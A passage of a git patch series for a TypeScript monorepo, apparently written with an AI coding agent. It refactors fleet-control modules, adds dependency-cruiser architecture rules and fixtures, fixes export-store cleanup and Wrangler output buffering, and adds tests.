'cloudflare'; -import { readField } from './provider-binding-inventory.js'; +import { readField } from './json-field-reads.js'; -export const MAX_SANITIZED_ERROR_CAUSE_DEPTH = 8; +const MAX_SANITIZED_ERROR_CAUSE_DEPTH = 8; -export function redactSecretValues( +function redactSecretValues( value: string, secretValues: readonly string[], ): string { @@ -37,7 +37,7 @@ export function readErrorFieldSafely( } } -export function isErrorSafely(value: unknown): value is Error { +function isErrorSafely(value: unknown): value is Error { // For object values, `value instanceof Error` walks [[GetPrototypeOf]]; a // Proxy trap or revoked Proxy can throw and replace the sanitized failure, // so every Error check on the foreign cause graph uses this predicate. @@ -68,7 +68,7 @@ export function sanitizedErrorName(error: unknown): string { : 'unknown'; } -export function sanitizedErrorCause( +function sanitizedErrorCause( error: Error, secretValues: readonly string[], depth = 0, diff --git a/packages/fleet-control/src/json-field-reads.ts b/packages/fleet-control/src/json-field-reads.ts new file mode 100644 index 00000000..63d88a4c --- /dev/null +++ b/packages/fleet-control/src/json-field-reads.ts @@ -0,0 +1,23 @@ +// SPDX-License-Identifier: Apache-2.0 + +export function readField(value: unknown, name: string): unknown { + return value && typeof value === 'object' + ? Reflect.get(value, name) + : undefined; +} + +export function readStringField( + value: unknown, + name: string, +): string | undefined { + const candidate = readField(value, name); + return typeof candidate === 'string' ? candidate : undefined; +} + +export function readArrayField( + value: unknown, + name: string, +): readonly unknown[] { + const candidate = readField(value, name); + return Array.isArray(candidate) ? candidate : []; +} diff --git a/packages/fleet-control/src/provider-binding-inventory.ts b/packages/fleet-control/src/provider-binding-inventory.ts index d4fe6a55..63ec2389 100644 --- a/packages/fleet-control/src/provider-binding-inventory.ts +++ b/packages/fleet-control/src/provider-binding-inventory.ts @@ -1,6 +1,7 @@ // SPDX-License-Identifier: Apache-2.0 import type { VersionCreateParams } from 'cloudflare/resources/workers/scripts/versions'; +import { readField, readStringField } from './json-field-reads.js'; import type { OrdinaryWorkerDeploymentVersion, PlainWorkerUploadIntent, @@ -8,28 +9,6 @@ import type { ProviderBindingIdentity, } from './types.js'; -export function readField(value: unknown, name: string): unknown { - return value && typeof value === 'object' - ? Reflect.get(value, name) - : undefined; -} - -export function readStringField( - value: unknown, - name: string, -): string | undefined { - const candidate = readField(value, name); - return typeof candidate === 'string' ? candidate : undefined; -} - -export function readArrayField( - value: unknown, - name: string, -): readonly unknown[] { - const candidate = readField(value, name); - return Array.isArray(candidate) ? candidate : []; -} - export function providerBindingsToPlainWorkerShape( bindings: readonly unknown[], ): readonly PlainWorkerVersionBinding[] { diff --git a/packages/fleet-control/src/workers-for-platforms-backend-switch-provider.ts b/packages/fleet-control/src/workers-for-platforms-backend-switch-provider.ts index ec48363d..61c1acfc 100644 --- a/packages/fleet-control/src/workers-for-platforms-backend-switch-provider.ts +++ b/packages/fleet-control/src/workers-for-platforms-backend-switch-provider.ts @@ -19,7 +19,7 @@ import type { PlainBackendSnapshot, } from './backend-switch.js'; import { finalizedBridgeForRecord } from './backend-switch.js'; -import { workerMigrations } from './cloudflare-client.js'; +import { workerMigrations } from './cloudflare-ordinary-worker-operations.js'; import type { HostRoutingTarget } from './host-routing.js'; import { parseHostRoutingTarget } from './host-routing.js'; import { d1MigrationHistoryDigest } from './migration-ledger.js'; diff --git a/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts b/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts index 57370c08..b557d957 100644 --- a/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts +++ b/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts @@ -8,11 +8,8 @@ import { tmpdir } from 'node:os'; import { join, resolve } from 'node:path'; import { Readable } from 'node:stream'; import type { DurableDatabaseExportStore } from './database-export-store.js'; -import { - providerBindingsToPlainWorkerShape, - readField, - readStringField, -} from './provider-binding-inventory.js'; +import { readField, readStringField } from './json-field-reads.js'; +import { providerBindingsToPlainWorkerShape } from './provider-binding-inventory.js'; import type { DatabaseReference, ExternalMutationFence, diff --git a/packages/fleet-control/test/fixtures/plain-worker-provisioning-api-fake.ts b/packages/fleet-control/test/fixtures/plain-worker-provisioning-api-fake.ts index 27496e50..6167c482 100644 --- a/packages/fleet-control/test/fixtures/plain-worker-provisioning-api-fake.ts +++ b/packages/fleet-control/test/fixtures/plain-worker-provisioning-api-fake.ts @@ -34,8 +34,8 @@ export class PlainWorkerProvisioningApiFake readonly supportsExactDatabaseDeletion = true; readonly events: string[] = []; readonly failures = new Map(); - // absent, buckets, exportResult, and createDeploymentOutcome's failure arm - // are deliberately unexercised seed state for the direct-API conformance + // absent, exportResult, and createDeploymentOutcome's failure arm are + // deliberately unexercised seed state for the direct-API conformance // fixture. readonly absent = new Set(); readonly scripts = new Set(); diff --git a/scripts/architecture-fixtures/fleet-control-port-imports-d1-adapter.ts b/scripts/architecture-fixtures/fleet-control-port-imports-d1-adapter.ts new file mode 100644 index 00000000..6805e693 --- /dev/null +++ b/scripts/architecture-fixtures/fleet-control-port-imports-d1-adapter.ts @@ -0,0 +1 @@ +import '../../packages/fleet-control/src/d1-fleet-state-database.js'; diff --git a/scripts/architecture-fixtures/fleet-control-worker-reachable-imports-node-builtin.ts b/scripts/architecture-fixtures/fleet-control-worker-reachable-imports-node-builtin.ts new file mode 100644 index 00000000..75bfd5a9 --- /dev/null +++ b/scripts/architecture-fixtures/fleet-control-worker-reachable-imports-node-builtin.ts @@ -0,0 +1 @@ +import 'node:fs'; diff --git a/scripts/architecture-positive-controls.test.mjs b/scripts/architecture-positive-controls.test.mjs index ac1d1560..2eecec2a 100644 --- a/scripts/architecture-positive-controls.test.mjs +++ b/scripts/architecture-positive-controls.test.mjs @@ -42,6 +42,10 @@ const controls = { 'scripts/architecture-fixtures/host-kit-misses-approval-shapes.ts', 'fleet-control-client-layers-are-one-way': 'scripts/architecture-fixtures/fleet-control-leaf-imports-client.ts', + 'fleet-control-ports-do-not-reach-d1-adapter': + 'scripts/architecture-fixtures/fleet-control-port-imports-d1-adapter.ts', + 'fleet-control-worker-reachable-modules-avoid-node-builtins': + 'scripts/architecture-fixtures/fleet-control-worker-reachable-imports-node-builtin.ts', }; test('every architecture rule has an executable positive control', () => { From 280f5397ea7e782dcfc58b0bdfb02c2f08563411 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sat, 29 Aug 2026 04:31:39 +0400 Subject: [PATCH 015/169] chore(fleet-control): rewrap a header note and requalify two rule comments The ordinary-Worker operations header held a 27-column orphan line; the paragraph now wraps at 75 and 63 columns, with the same words in the same order. The port-to-adapter rule comment now names backend-switch.ts, the hop through which state-store.ts reaches migration-ledger.ts, so its cycle warrant covers both port modules rather than state-store.ts alone. The Worker-reachable-builtin rule comment now states why its modules are listed and why a Node builtin matters there, instead of restating the path regex two lines below it in prose. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01XyG1jJCrVSWfVQ3Zab15Rd --- .dependency-cruiser.cjs | 4 ++-- .../src/cloudflare-ordinary-worker-operations.ts | 5 ++--- 2 files changed, 4 insertions(+), 5 deletions(-) diff --git a/.dependency-cruiser.cjs b/.dependency-cruiser.cjs index 80f3e0a1..3800a62e 100644 --- a/.dependency-cruiser.cjs +++ b/.dependency-cruiser.cjs @@ -191,7 +191,7 @@ module.exports = { name: 'fleet-control-ports-do-not-reach-d1-adapter', severity: 'error', comment: - 'The D1 adapter implements ports that state-store.ts and migration-ledger.ts declare and imports state-store.ts, so a port module reaching the adapter would close a cycle.', + 'The D1 adapter implements ports that state-store.ts and migration-ledger.ts declare and imports state-store.ts, which reaches migration-ledger.ts through backend-switch.ts, so a port module reaching the adapter would close a cycle.', from: { path: [ '^packages/fleet-control/src/(?:state-store|migration-ledger)\\.ts$', @@ -207,7 +207,7 @@ module.exports = { name: 'fleet-control-worker-reachable-modules-avoid-node-builtins', severity: 'error', comment: - 'These modules are the Workers this package publishes plus the R2 export store, the D1 adapter, and the two leaf modules the R2 store imports. The two D1 harnesses set nodejs_compat, so a builtin import in the D1 adapter fails this rule rather than a harness; the R2 export harness runs without the flag.', + 'These modules are Worker entry points or are reached from one in the import graph, where a Node builtin needs nodejs_compat. The two D1 harnesses set nodejs_compat, so a builtin import in the D1 adapter fails this rule rather than a harness; the R2 export harness runs without the flag.', from: { path: [ '^packages/fleet-control/src/(?:d1-fleet-state-database|database-export-store|export-file-name|r2-export-store)\\.ts$', diff --git a/packages/fleet-control/src/cloudflare-ordinary-worker-operations.ts b/packages/fleet-control/src/cloudflare-ordinary-worker-operations.ts index fc07a4d3..09a2eb50 100644 --- a/packages/fleet-control/src/cloudflare-ordinary-worker-operations.ts +++ b/packages/fleet-control/src/cloudflare-ordinary-worker-operations.ts @@ -2,9 +2,8 @@ // This module holds ordinary-Worker (plain-plane) provider operations that // CloudflareProvisioningClient calls through one-line forwards or directly. -// Context-taking functions -// declare the slice of OrdinaryWorkerContext they need; the preparation and -// migration helpers take no context. +// Context-taking functions declare the slice of OrdinaryWorkerContext they +// need; the preparation and migration helpers take no context. // Provider requests go through context.client, the client's SDK instance; // this module imports nothing from cloudflare-client.ts. From 6543c6f0418556038064ceaaac4469ccd1b7cb47 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sat, 29 Aug 2026 05:51:30 +0400 Subject: [PATCH 016/169] fix(fleet-control): stop awaiting a tee branch cancel in export cleanup FileSystemDatabaseExportStore's failure cleanup awaited the reader's cancel. On a tee() branch that promise settles when the tee source is exhausted or the other branch is cancelled, so a store-internal refusal held its rejection and its temporary file until then, and held both indefinitely when nothing drove the source. Cleanup now starts the cancel without awaiting it and swallows its rejection. The surrounding try still catches a synchronous throw from an injected body, and the finally still releases the lock. A new case drives the size refusal from a tee branch whose source stays readable, then asserts the write rejects and leaves the export root empty. A changeset records the fix as a fleet-control patch release. The migration ledger harness gains a cold-application probe action and a case for two concurrent first applications against a dropped ledger table: the case pins the table's absence before the race, and both applications fulfil, leaving one ledger row and one value row. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01XyG1jJCrVSWfVQ3Zab15Rd --- .changeset/tee-branch-cancel.md | 5 ++ packages/fleet-control/src/export-store.ts | 5 +- .../fleet-control/test/export-store.test.ts | 37 ++++++++++++++ .../migration-ledger-harness-probe.ts | 49 +++++++++++++++++++ .../test/migration-ledger.harness.test.ts | 18 +++++++ 5 files changed, 113 insertions(+), 1 deletion(-) create mode 100644 .changeset/tee-branch-cancel.md diff --git a/.changeset/tee-branch-cancel.md b/.changeset/tee-branch-cancel.md new file mode 100644 index 00000000..f98c79a4 --- /dev/null +++ b/.changeset/tee-branch-cancel.md @@ -0,0 +1,5 @@ +--- +'@proofoftech/fleet-control': patch +--- + +`FileSystemDatabaseExportStore.write` no longer awaits the reader's cancel in its failure cleanup. When the body is a `tee()` branch, that cancel settles when the tee source is exhausted or the other branch is cancelled, so a write refused by the store's own checks held its rejection and its temporary file until then, and held both indefinitely when nothing drove the source. It now rejects with the store's error and removes the file without awaiting the cancel. diff --git a/packages/fleet-control/src/export-store.ts b/packages/fleet-control/src/export-store.ts index a065e637..be0f5893 100644 --- a/packages/fleet-control/src/export-store.ts +++ b/packages/fleet-control/src/export-store.ts @@ -103,7 +103,10 @@ export class FileSystemDatabaseExportStore cleanupErrors.push(cleanupError); } try { - await reader?.cancel(error); + // The reader's cancel on a tee branch settles when the tee source is + // exhausted or the other branch is cancelled, so cleanup does not + // await it. + void reader?.cancel(error).catch(() => undefined); } catch {} try { await rm(temporary, { force: true }); diff --git a/packages/fleet-control/test/export-store.test.ts b/packages/fleet-control/test/export-store.test.ts index 23ce5c6b..2f30ea70 100644 --- a/packages/fleet-control/test/export-store.test.ts +++ b/packages/fleet-control/test/export-store.test.ts @@ -165,6 +165,43 @@ describe('FileSystemDatabaseExportStore', () => { await expect(readdir(root)).resolves.toEqual([]); }); + it('does not await a tee branch cancel when the write fails', async () => { + const parent = await temporaryDirectory(); + const root = join(parent, 'exports'); + const source = new ReadableStream({ + start(controller) { + // A chunk with no byteLength drives the store's own size refusal + // while the tee source stays readable. + // The real guard case is oversized; this uses size += undefined. + controller.enqueue('not bytes' as unknown as Uint8Array); + }, + }); + const [branch] = source.tee(); + const store = new FileSystemDatabaseExportStore(root); + let timer: ReturnType | undefined; + const timeout = new Promise((_, reject) => { + timer = setTimeout( + () => reject(new Error('write did not settle')), + 1_000, + ); + }); + try { + await expect( + Promise.race([ + store.write({ + databaseId: 'database-1', + fileName: 'database-1.sql', + body: branch, + }), + timeout, + ]), + ).rejects.toThrow('export size exceeds the safe integer range'); + } finally { + clearTimeout(timer); + } + await expect(readdir(root)).resolves.toEqual([]); + }); + it('cleans its temporary file when content length does not match', async () => { const parent = await temporaryDirectory(); const root = join(parent, 'exports'); diff --git a/packages/fleet-control/test/fixtures/migration-ledger-harness-probe.ts b/packages/fleet-control/test/fixtures/migration-ledger-harness-probe.ts index 5413abff..36d43f57 100644 --- a/packages/fleet-control/test/fixtures/migration-ledger-harness-probe.ts +++ b/packages/fleet-control/test/fixtures/migration-ledger-harness-probe.ts @@ -110,6 +110,53 @@ async function concurrentApplication(db: D1Database): Promise { }; } +async function coldApplication(db: D1Database): Promise { + const version = 1; + await db + .prepare( + `CREATE TABLE IF NOT EXISTS migration_cold_values (value TEXT NOT NULL)`, + ) + .run(); + await db.prepare(`DELETE FROM migration_cold_values`).run(); + // No ensureLedger: the ledger's own CREATE runs inside the race. + await db.prepare(`DROP TABLE IF EXISTS ${LEDGER}`).run(); + const coldBefore = await db + .prepare( + `SELECT COUNT(*) AS count FROM sqlite_master WHERE type = 'table' AND name = ?`, + ) + .bind(LEDGER) + .first<{ count: number }>(); + const migration = { + version, + sql: `INSERT INTO migration_cold_values (value) VALUES ('once')`, + }; + const outcomes = await Promise.allSettled( + Array.from({ length: 2 }, () => + applyMigrationsWithLedger(new D1FleetStateDatabase(db), [migration]), + ), + ); + const values = await db + .prepare(`SELECT COUNT(*) AS count FROM migration_cold_values`) + .first<{ count: number }>(); + const ledger = await db + .prepare(`SELECT COUNT(*) AS count FROM ${LEDGER} WHERE version = ?`) + .bind(version) + .first<{ count: number }>(); + return { + coldBefore: coldBefore?.count, + settlements: outcomes.map((outcome) => + outcome.status === 'fulfilled' + ? { status: outcome.status } + : { + status: outcome.status, + message: errorShape(outcome.reason).message, + }, + ), + values: values?.count, + ledger: ledger?.count, + }; +} + async function changedHistoricalSql(db: D1Database): Promise { const version = 1; await ensureLedger(db); @@ -195,6 +242,8 @@ export default { return Response.json(await atomicRollback(env.DB)); case 'concurrent-application': return Response.json(await concurrentApplication(env.DB)); + case 'cold-application': + return Response.json(await coldApplication(env.DB)); case 'changed-history': return Response.json(await changedHistoricalSql(env.DB)); case 'commit-boundary': diff --git a/packages/fleet-control/test/migration-ledger.harness.test.ts b/packages/fleet-control/test/migration-ledger.harness.test.ts index bdf5f8b4..c1d96f58 100644 --- a/packages/fleet-control/test/migration-ledger.harness.test.ts +++ b/packages/fleet-control/test/migration-ledger.harness.test.ts @@ -103,6 +103,24 @@ describe.sequential('migration ledger real-D1 fidelity', { }); }); + it('converges concurrent first applications on a cold ledger', async () => { + await expect( + probe<{ + coldBefore: number; + settlements: Array< + { status: 'fulfilled' } | { status: 'rejected'; message: string } + >; + values: number; + ledger: number; + }>('cold-application'), + ).resolves.toEqual({ + coldBefore: 0, + settlements: [{ status: 'fulfilled' }, { status: 'fulfilled' }], + values: 1, + ledger: 1, + }); + }); + it('rejects changed SQL for an already committed historical version', async () => { await expect( probe<{ failure: ProbeError; values: string[] }>('changed-history'), From 267837a600c19e385fc137651b84067738a2b4c4 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sat, 29 Aug 2026 06:13:32 +0400 Subject: [PATCH 017/169] chore(fleet-control): separate one test's setup and wrap a probe query The tee-branch cancel case in export-store.test.ts ran its last setup statement straight into the acting try block. One blank line now separates them, as the file's other cases already do. The migration ledger probe's cold-application sqlite_master count sat on one 86-column line. It now breaks after the table name and indents the WHERE clause seven spaces, the shape readAcrossBoundary already uses. The break and indent replace one space between two tokens, so SQLite parses the same statement. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01XyG1jJCrVSWfVQ3Zab15Rd --- packages/fleet-control/test/export-store.test.ts | 1 + .../test/fixtures/migration-ledger-harness-probe.ts | 3 ++- 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/packages/fleet-control/test/export-store.test.ts b/packages/fleet-control/test/export-store.test.ts index 2f30ea70..a99d5545 100644 --- a/packages/fleet-control/test/export-store.test.ts +++ b/packages/fleet-control/test/export-store.test.ts @@ -185,6 +185,7 @@ describe('FileSystemDatabaseExportStore', () => { 1_000, ); }); + try { await expect( Promise.race([ diff --git a/packages/fleet-control/test/fixtures/migration-ledger-harness-probe.ts b/packages/fleet-control/test/fixtures/migration-ledger-harness-probe.ts index 36d43f57..acf55106 100644 --- a/packages/fleet-control/test/fixtures/migration-ledger-harness-probe.ts +++ b/packages/fleet-control/test/fixtures/migration-ledger-harness-probe.ts @@ -122,7 +122,8 @@ async function coldApplication(db: D1Database): Promise { await db.prepare(`DROP TABLE IF EXISTS ${LEDGER}`).run(); const coldBefore = await db .prepare( - `SELECT COUNT(*) AS count FROM sqlite_master WHERE type = 'table' AND name = ?`, + `SELECT COUNT(*) AS count FROM sqlite_master + WHERE type = 'table' AND name = ?`, ) .bind(LEDGER) .first<{ count: number }>(); From 6c64d0d4b037a45c9df04d0990db11c588dda4f9 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sat, 29 Aug 2026 07:01:22 +0400 Subject: [PATCH 018/169] test(fleet-control): fence the client and export port against back-edges fleet-control-client-does-not-reach-its-consumers forbids a reachable edge from cloudflare-client.ts into index.ts, cloudflare-api-plain-worker-backend.ts, or cloudflare-api-plain-worker-provisioning-api.ts, the three modules that import the client. fleet-control-client-layers-are-one-way holds the client and those three in its pathNot, and packages/fleet-control sits outside no-new-architecture-cycles, so that back-edge was covered by no rule. fleet-control-export-port-does-not-reach-adapters forbids a reachable edge from database-export-store.ts into export-store.ts or r2-export-store.ts, the two stores that import DurableDatabaseExportStore from it to implement it. tsPreCompilationDeps keeps those type-only imports in the graph. Each rule carries a positive-control fixture under scripts/architecture-fixtures/ and its registry entry in scripts/architecture-positive-controls.test.mjs, raising the control set to seventeen. The cruiser config is not a build input, so no runtime or declaration output changes and no changeset is owed. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01XyG1jJCrVSWfVQ3Zab15Rd --- .dependency-cruiser.cjs | 32 +++++++++++++++++++ .../fleet-control-client-imports-consumer.ts | 1 + ...eet-control-export-port-imports-adapter.ts | 1 + .../architecture-positive-controls.test.mjs | 4 +++ 4 files changed, 38 insertions(+) create mode 100644 scripts/architecture-fixtures/fleet-control-client-imports-consumer.ts create mode 100644 scripts/architecture-fixtures/fleet-control-export-port-imports-adapter.ts diff --git a/.dependency-cruiser.cjs b/.dependency-cruiser.cjs index 3800a62e..cb4992c0 100644 --- a/.dependency-cruiser.cjs +++ b/.dependency-cruiser.cjs @@ -217,6 +217,38 @@ module.exports = { }, to: { dependencyTypes: ['core'] }, }, + { + name: 'fleet-control-client-does-not-reach-its-consumers', + severity: 'error', + comment: + 'index.ts, cloudflare-api-plain-worker-backend.ts, and cloudflare-api-plain-worker-provisioning-api.ts import the Cloudflare client, so the client reaching one of them would close a cycle. fleet-control-client-layers-are-one-way holds the client and those three modules in its pathNot, and packages/fleet-control is outside no-new-architecture-cycles.', + from: { + path: [ + '^packages/fleet-control/src/cloudflare-client\\.ts$', + '^scripts/architecture-fixtures/fleet-control-client-imports-consumer\\.ts$', + ], + }, + to: { + path: '^packages/fleet-control/src/(?:cloudflare-api-plain-worker-backend|cloudflare-api-plain-worker-provisioning-api|index)\\.ts$', + reachable: true, + }, + }, + { + name: 'fleet-control-export-port-does-not-reach-adapters', + severity: 'error', + comment: + 'export-store.ts and r2-export-store.ts import DurableDatabaseExportStore from database-export-store.ts to implement it, so the port reaching either store would close a cycle. Those two imports are type-only, and tsPreCompilationDeps keeps a type-only edge in the graph.', + from: { + path: [ + '^packages/fleet-control/src/database-export-store\\.ts$', + '^scripts/architecture-fixtures/fleet-control-export-port-imports-adapter\\.ts$', + ], + }, + to: { + path: '^packages/fleet-control/src/(?:export-store|r2-export-store)\\.ts$', + reachable: true, + }, + }, ], required: [ { diff --git a/scripts/architecture-fixtures/fleet-control-client-imports-consumer.ts b/scripts/architecture-fixtures/fleet-control-client-imports-consumer.ts new file mode 100644 index 00000000..4a51253a --- /dev/null +++ b/scripts/architecture-fixtures/fleet-control-client-imports-consumer.ts @@ -0,0 +1 @@ +import '../../packages/fleet-control/src/cloudflare-api-plain-worker-provisioning-api.js'; diff --git a/scripts/architecture-fixtures/fleet-control-export-port-imports-adapter.ts b/scripts/architecture-fixtures/fleet-control-export-port-imports-adapter.ts new file mode 100644 index 00000000..d2041ab0 --- /dev/null +++ b/scripts/architecture-fixtures/fleet-control-export-port-imports-adapter.ts @@ -0,0 +1 @@ +import '../../packages/fleet-control/src/r2-export-store.js'; diff --git a/scripts/architecture-positive-controls.test.mjs b/scripts/architecture-positive-controls.test.mjs index 2eecec2a..af1a9aad 100644 --- a/scripts/architecture-positive-controls.test.mjs +++ b/scripts/architecture-positive-controls.test.mjs @@ -46,6 +46,10 @@ const controls = { 'scripts/architecture-fixtures/fleet-control-port-imports-d1-adapter.ts', 'fleet-control-worker-reachable-modules-avoid-node-builtins': 'scripts/architecture-fixtures/fleet-control-worker-reachable-imports-node-builtin.ts', + 'fleet-control-client-does-not-reach-its-consumers': + 'scripts/architecture-fixtures/fleet-control-client-imports-consumer.ts', + 'fleet-control-export-port-does-not-reach-adapters': + 'scripts/architecture-fixtures/fleet-control-export-port-imports-adapter.ts', }; test('every architecture rule has an executable positive control', () => { From 57dab7a5f8dab3b372c2fb97498e24227fba4fc8 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sat, 29 Aug 2026 07:18:49 +0400 Subject: [PATCH 019/169] test(fleet-control): raise the controls harness spawn output limit The positive-control harness reads each dependency-cruiser JSON report back through spawnSync without a maxBuffer, so Node's 1 MiB default applies. Each report carries the fixture's resolved module graph and the rule set, and both grow with the repository. Once a report crosses the default, the harness reports an opaque ENOBUFS spawn failure instead of a rule verdict. Set maxBuffer to 64 MiB, the value already used at packages/showcase/scripts/run-react-doctor.mjs. The reports are well under the default today; the cap keeps a future overflow from arriving as a misleading spawn error. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01XyG1jJCrVSWfVQ3Zab15Rd --- scripts/architecture-positive-controls.test.mjs | 1 + 1 file changed, 1 insertion(+) diff --git a/scripts/architecture-positive-controls.test.mjs b/scripts/architecture-positive-controls.test.mjs index af1a9aad..99cce142 100644 --- a/scripts/architecture-positive-controls.test.mjs +++ b/scripts/architecture-positive-controls.test.mjs @@ -72,6 +72,7 @@ for (const [ruleName, fixture] of Object.entries(controls)) { const result = spawnSync(process.execPath, args, { cwd: fileURLToPath(new URL('..', import.meta.url)), encoding: 'utf8', + maxBuffer: 64 * 1024 * 1024, }); const command = [process.execPath, ...args].join(' '); if (result.error) { From a086f246e697fa940515f89a858240c508511233 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sat, 29 Aug 2026 07:54:26 +0400 Subject: [PATCH 020/169] fix(flowsafe): cap the flowsafe-provision Wrangler capture at 64 MiB `wranglerQuery` in the `flowsafe-provision` bin ran `wrangler d1 execute --json` through `spawnSync` with no `maxBuffer`. Node's default is 1 MiB counted across the captured stdout and stderr together, so a larger response was truncated and the run threw `failed to execute Wrangler 4` with an `ENOBUFS` cause instead of returning parsed rows. The seed script now passes a 64 MiB `maxBuffer`, the value at the repository's two existing `maxBuffer` sites. The packed provisioning gate pins it. The fake Wrangler shim's schema-scan branch appends a padding row sized by `FAKE_WRANGLER_PAD_BYTES`, and the preview arguments are re-run with a 1536 KiB pad, asserting the CLI still exits 0 with its verification line. The protocol filters `sqlite_`-prefixed names out of its application-table list and matches the sentinel by exact name, so the padding row leaves the outcome unchanged. `invokeProvision` takes the same `maxBuffer` so a regression reports the CLI's own message rather than a second capture overflow. A patch changeset records the change for `@proofoftech/flowsafe`. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01XyG1jJCrVSWfVQ3Zab15Rd --- .changeset/provision-output-limit.md | 5 +++++ .../scripts/provisioning-pack-test.mjs | 22 +++++++++++++++++++ .../scripts/seed-deployment-identity.mjs | 1 + 3 files changed, 28 insertions(+) create mode 100644 .changeset/provision-output-limit.md diff --git a/.changeset/provision-output-limit.md b/.changeset/provision-output-limit.md new file mode 100644 index 00000000..086bc402 --- /dev/null +++ b/.changeset/provision-output-limit.md @@ -0,0 +1,5 @@ +--- +'@proofoftech/flowsafe': patch +--- + +`flowsafe-provision` sets a 64 MiB `maxBuffer` on the `wrangler d1 execute --json` child process whose output it parses. Node's default is 1 MiB counted across the captured stdout and stderr together, so a response past that was truncated and the run surfaced as `failed to execute Wrangler 4` with an `ENOBUFS` cause instead of the parsed rows. diff --git a/packages/flowsafe/scripts/provisioning-pack-test.mjs b/packages/flowsafe/scripts/provisioning-pack-test.mjs index b724a68f..769e737d 100644 --- a/packages/flowsafe/scripts/provisioning-pack-test.mjs +++ b/packages/flowsafe/scripts/provisioning-pack-test.mjs @@ -40,6 +40,7 @@ function invokeProvision(cwd, args, env = {}) { cwd, env: { ...process.env, ...env }, encoding: 'utf8', + maxBuffer: 64 * 1024 * 1024, stdio: 'pipe', }); } @@ -86,6 +87,10 @@ if (sql.startsWith('SELECT name, sql')) { ...(state.created ? [{ name: 'flowsafe_deployment', sql: schema }] : []), ...(state.fence ? [{ name: FENCE, sql: 'CREATE' }] : []), ]; + const padBytes = Number(process.env.FAKE_WRANGLER_PAD_BYTES ?? 0); + if (padBytes > 0) { + results.push({ name: 'sqlite_pad', sql: 'x'.repeat(padBytes) }); + } } else if (sql.startsWith('CREATE TABLE IF NOT EXISTS ' + FENCE)) { state.fence = true; results = []; @@ -625,6 +630,23 @@ void initialFenceState; } } + writeFileSync(logPath, ''); + const oversized = invokeProvision(consumerRoot, previewArgs, { + FAKE_WRANGLER_LOG: logPath, + FAKE_WRANGLER_STATE: statePath, + FAKE_WRANGLER_PAD_BYTES: String(1536 * 1024), + }); + if ( + oversized.status !== 0 || + oversized.stdout !== + "Deployment identity 'acme' verified in consumer-db (preview), initial execution fence state 'open'.\n" + ) { + throw new Error( + `packed provisioning CLI failed on a Wrangler response above Node's default spawn capture (status=${oversized.status}, signal=${oversized.signal}, error=${oversized.error?.message ?? 'none'})\n${oversized.stderr}`, + { cause: oversized.error }, + ); + } + writeFileSync( wranglerManifestPath, JSON.stringify({ diff --git a/packages/flowsafe/scripts/seed-deployment-identity.mjs b/packages/flowsafe/scripts/seed-deployment-identity.mjs index 684e6b53..a106a4e0 100755 --- a/packages/flowsafe/scripts/seed-deployment-identity.mjs +++ b/packages/flowsafe/scripts/seed-deployment-identity.mjs @@ -190,6 +190,7 @@ function wranglerQuery(options, sql) { if (options.persistTo) args.push('--persist-to', options.persistTo); const result = spawnSync(process.execPath, [wranglerEntrypoint(), ...args], { encoding: 'utf8', + maxBuffer: 64 * 1024 * 1024, stdio: ['ignore', 'pipe', 'pipe'], }); if (result.error) { From e59fe25420faeec7f7a476f3fdd6fbfbfffbf1d7 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sat, 29 Aug 2026 08:07:34 +0400 Subject: [PATCH 021/169] test(flowsafe): assert empty stderr on the oversized provisioning run The packed provisioning test's oversized-capture case checked exit status and stdout but not stderr, so output on the error channel would not fail it. It now carries the same stderr clause as the valid and preview cases beside it: the fake Wrangler's schema-scan branch writes nothing there, padded response included. Drop the invocation-log reset that preceded that run. Both reads of the log come earlier in the file, so the reset scoped no read. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01XyG1jJCrVSWfVQ3Zab15Rd --- packages/flowsafe/scripts/provisioning-pack-test.mjs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/packages/flowsafe/scripts/provisioning-pack-test.mjs b/packages/flowsafe/scripts/provisioning-pack-test.mjs index 769e737d..ca8a9cd4 100644 --- a/packages/flowsafe/scripts/provisioning-pack-test.mjs +++ b/packages/flowsafe/scripts/provisioning-pack-test.mjs @@ -630,7 +630,6 @@ void initialFenceState; } } - writeFileSync(logPath, ''); const oversized = invokeProvision(consumerRoot, previewArgs, { FAKE_WRANGLER_LOG: logPath, FAKE_WRANGLER_STATE: statePath, @@ -639,7 +638,8 @@ void initialFenceState; if ( oversized.status !== 0 || oversized.stdout !== - "Deployment identity 'acme' verified in consumer-db (preview), initial execution fence state 'open'.\n" + "Deployment identity 'acme' verified in consumer-db (preview), initial execution fence state 'open'.\n" || + oversized.stderr !== '' ) { throw new Error( `packed provisioning CLI failed on a Wrangler response above Node's default spawn capture (status=${oversized.status}, signal=${oversized.signal}, error=${oversized.error?.message ?? 'none'})\n${oversized.stderr}`, From 3c0ec098aa8a8edc890e733a3f8f6e75b5dd6853 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sat, 29 Aug 2026 11:40:02 +0400 Subject: [PATCH 022/169] fix(fleet-control): guard the R2 refusal's cancel against a sync throw `R2DatabaseExportStore.write` cancels the body when `#prepare` refuses and does not await that cancel. An injected `body` whose `cancel` threw synchronously let that throw escape the refusal handler and replace the error `write()` rejects with. 